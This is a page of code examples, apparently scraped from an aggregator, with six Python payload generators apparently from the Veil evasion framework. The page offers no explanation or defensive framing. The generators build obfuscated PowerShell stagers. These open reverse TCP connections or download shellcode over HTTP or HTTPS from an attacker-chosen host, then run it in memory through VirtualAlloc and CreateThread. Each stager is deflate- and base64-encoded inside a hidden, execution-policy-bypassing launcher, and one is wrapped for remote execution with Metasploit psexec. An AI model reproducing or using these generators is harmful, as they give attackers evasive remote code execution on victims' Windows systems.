Python deflate Examples

Example #1

File: rev_tcp.py Project: yuhisern7/Veil

    def generate(self):
        checks, num_ends = gamemaker.senecas_games(self)
        baseString = """$c = @"
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z);
"@\n"""

        baseString += checks
        baseString += """try{$s = New-Object System.Net.Sockets.Socket ([System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp)
$s.Connect('%s', %s) | out-null; $p = [Array]::CreateInstance("byte", 4); $x = $s.Receive($p) | out-null; $z = 0
$y = [Array]::CreateInstance("byte", [BitConverter]::ToInt32($p,0)+5); $y[0] = 0xBF
while ($z -lt [BitConverter]::ToInt32($p,0)) { $z += $s.Receive($y,$z+5,1,[System.Net.Sockets.SocketFlags]::None) }
for ($i=1; $i -le 4; $i++) {$y[$i] = [System.BitConverter]::GetBytes([int]$s.Handle)[$i-1]}
$t = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru; $x=$t::VirtualAlloc(0,$y.Length,0x3000,0x40)
[System.Runtime.InteropServices.Marshal]::Copy($y, 0, [IntPtr]($x.ToInt32()), $y.Length)
$t::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{}""" %(self.required_options["LHOST"][0], self.required_options["LPORT"][0])

        baseString += '}\n' * num_ends
        print(baseString)

        encoded = evasion_helpers.deflate(baseString)

        payload_code = "@echo off\n"
        payload_code += "if %PROCESSOR_ARCHITECTURE%==x86 ("
        payload_code += "powershell.exe -NoP -NonI -W Hidden -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\"" % (encoded)
        payload_code += ") else ("
        payload_code += "%%WinDir%%\\syswow64\\windowspowershell\\v1.0\\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\")" % (encoded)

        self.payload_source_code = payload_code
        return

Example #2

File: rev_https.py Project: Veil-Framework/Veil

    def generate(self):
        checks, num_ends = gamemaker.senecas_games(self)
        proxyString = "$pr = [System.Net.WebRequest]::GetSystemWebProxy();$pr.Credentials=[System.Net.CredentialCache]::DefaultCredentials;$m.proxy=$pr;$m.UseDefaultCredentials=$true;"
        baseString = """$q = @"
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
"@\n"""
        baseString += checks
        baseString += """try{$d = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray()
function c($v){ return (([int[]] $v.ToCharArray() | Measure-Object -Sum).Sum %% 0x100 -eq 92)}
function t {$f = "";1..%i|foreach-object{$f+= $d[(get-random -maximum $d.Length)]};return $f;}
function e { process {[array]$x = $x + $_}; end {$x | sort-object {(new-object Random).next()}}}
function g{ for ($i=0;$i -lt 64;$i++){$h = t;$k = $d | e;  foreach ($l in $k){$s = $h + $l; if (c($s)) { return $s }}}return "9vXU";}
[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$m = New-Object System.Net.WebClient;%s
$m.Headers.Add("user-agent", "%s");$n = g; [Byte[]] $p = $m.DownloadData("https://%s:%s/%s$n" )
$o = Add-Type -memberDefinition $q -Name "Win32" -namespace Win32Functions -passthru
$x=$o::VirtualAlloc(0,$p.Length,0x3000,0x40);[System.Runtime.InteropServices.Marshal]::Copy($p, 0, [IntPtr]($x.ToInt32()), $p.Length)
$o::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{}""" %((int(self.required_options["STAGERURILENGTH"][0])-1),
                                                                              "" if self.required_options["PROXY"][0] == "N" else proxyString,
                                                                              self.required_options["USER_AGENT"][0],
                                                                              self.required_options["LHOST"][0],
                                                                              self.required_options["LPORT"][0],
                                                                              "" if self.required_options["LURI"][0] == "/" else "%s/" % self.required_options["LURI"][0])
        encoded = evasion_helpers.deflate(baseString)
        payload_code = "@echo off\n"
        payload_code += "if %PROCESSOR_ARCHITECTURE%==x86 ("
        payload_code += "powershell.exe -NoP -NonI -W Hidden -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\"" % (encoded)
        payload_code += ") else ("
        payload_code += "%%WinDir%%\\syswow64\\windowspowershell\\v1.0\\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\")" % (encoded)

        self.payload_source_code = payload_code
        return

Example #3

File: rev_tcp.py Project: Veil-Framework/Veil

    def generate(self):
        checks, num_ends = gamemaker.senecas_games(self)
        baseString = """$c = @"
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z);
"@\n"""

        baseString += checks
        baseString += """try{$s = New-Object System.Net.Sockets.Socket ([System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp)
$s.Connect('%s', %s) | out-null; $p = [Array]::CreateInstance("byte", 4); $x = $s.Receive($p) | out-null; $z = 0
$y = [Array]::CreateInstance("byte", [BitConverter]::ToInt32($p,0)+5); $y[0] = 0xBF
while ($z -lt [BitConverter]::ToInt32($p,0)) { $z += $s.Receive($y,$z+5,1,[System.Net.Sockets.SocketFlags]::None) }
for ($i=1; $i -le 4; $i++) {$y[$i] = [System.BitConverter]::GetBytes([int]$s.Handle)[$i-1]}
$t = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru; $x=$t::VirtualAlloc(0,$y.Length,0x3000,0x40)
[System.Runtime.InteropServices.Marshal]::Copy($y, 0, [IntPtr]($x.ToInt32()), $y.Length)
$t::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{}""" %(self.required_options["LHOST"][0], self.required_options["LPORT"][0])

        baseString += '}\n' * num_ends

        encoded = evasion_helpers.deflate(baseString)

        payload_code = "@echo off\n"
        payload_code += "if %PROCESSOR_ARCHITECTURE%==x86 ("
        payload_code += "powershell.exe -NoP -NonI -W Hidden -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\"" % (encoded)
        payload_code += ") else ("
        payload_code += "%%WinDir%%\\syswow64\\windowspowershell\\v1.0\\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\")" % (encoded)

        self.payload_source_code = payload_code
        return

Example #4

    def generate(self):
        checks, num_ends = gamemaker.senecas_games(self)
        proxyString = "$pr = [System.Net.WebRequest]::GetSystemWebProxy();$pr.Credentials=[System.Net.CredentialCache]::DefaultCredentials;$m.proxy=$pr;$m.UseDefaultCredentials=$true;"
        baseString = """$q = @"
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
"@\n"""
        baseString += checks
        baseString += """try{$d = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray()
function c($v){ return (([int[]] $v.ToCharArray() | Measure-Object -Sum).Sum %% 0x100 -eq 92)}
function t {$f = "";1..%i|foreach-object{$f+= $d[(get-random -maximum $d.Length)]};return $f;}
function e { process {[array]$x = $x + $_}; end {$x | sort-object {(new-object Random).next()}}}
function g{ for ($i=0;$i -lt 64;$i++){$h = t;$k = $d | e;  foreach ($l in $k){$s = $h + $l; if (c($s)) { return $s }}}return "9vXU";}
$m = New-Object System.Net.WebClient;%s$m.Headers.Add("user-agent", "%s")
$n = g; [Byte[]] $p = $m.DownloadData("http://%s:%s/%s$n" )
$o = Add-Type -memberDefinition $q -Name "Win32" -namespace Win32Functions -passthru
$x=$o::VirtualAlloc(0,$p.Length,0x3000,0x40);[System.Runtime.InteropServices.Marshal]::Copy($p, 0, [IntPtr]($x.ToInt32()), $p.Length)
$o::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{}""" %((int(self.required_options["STAGERURILENGTH"][0])-1),
                                                                              "" if self.required_options["PROXY"][0] == "N" else proxyString,
                                                                              self.required_options["USER_AGENT"][0],
                                                                              self.required_options["LHOST"][0],
                                                                              self.required_options["LPORT"][0],
                                                                              "" if self.required_options["LURI"][0] == "/" else "%s/" % self.required_options["LURI"][0])
        baseString += '}\n' * num_ends
        encoded = evasion_helpers.deflate(baseString)
        payload_code = "@echo off\n"
        payload_code += "if %PROCESSOR_ARCHITECTURE%==x86 ("
        payload_code += "powershell.exe -NoP -NonI -W Hidden -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\"" % (encoded)
        payload_code += ") else ("
        payload_code += "%%WinDir%%\\syswow64\\windowspowershell\\v1.0\\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\")" % (encoded)

        self.payload_source_code = payload_code
        return

Example #5

File: virtual.py Project: Veil-Framework/Veil

    def generate(self):

        encoded = evasion_helpers.deflate(self.psRaw())

        payload_code = "@echo off\n"
        payload_code += "if %PROCESSOR_ARCHITECTURE%==x86 ("
        payload_code += "powershell.exe -NoP -NonI -W Hidden -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\"" % (encoded)
        payload_code += ") else ("
        payload_code += "%%WinDir%%\\syswow64\\windowspowershell\\v1.0\\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\")" % (encoded)

        self.payload_source_code = payload_code
        return

Example #6

    def generate(self):

        encoded = evasion_helpers.deflate(self.psRaw())

        payload_code = "use auxiliary/admin/smb/psexec_command\n"
        payload_code += "set COMMAND "
        payload_code += "if %PROCESSOR_ARCHITECTURE%==x86 ("
        payload_code += "powershell.exe -NoP -NonI -W Hidden -Command \\\"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\\\\\"%s\\\\\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\\\"" % (encoded)
        payload_code += ") else ("
        payload_code += "%%WinDir%%\\\\syswow64\\\\windowspowershell\\\\v1.0\\\\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command \\\"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\\\\\"%s\\\\\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\\\")" % (encoded)

        self.payload_source_code = payload_code
        return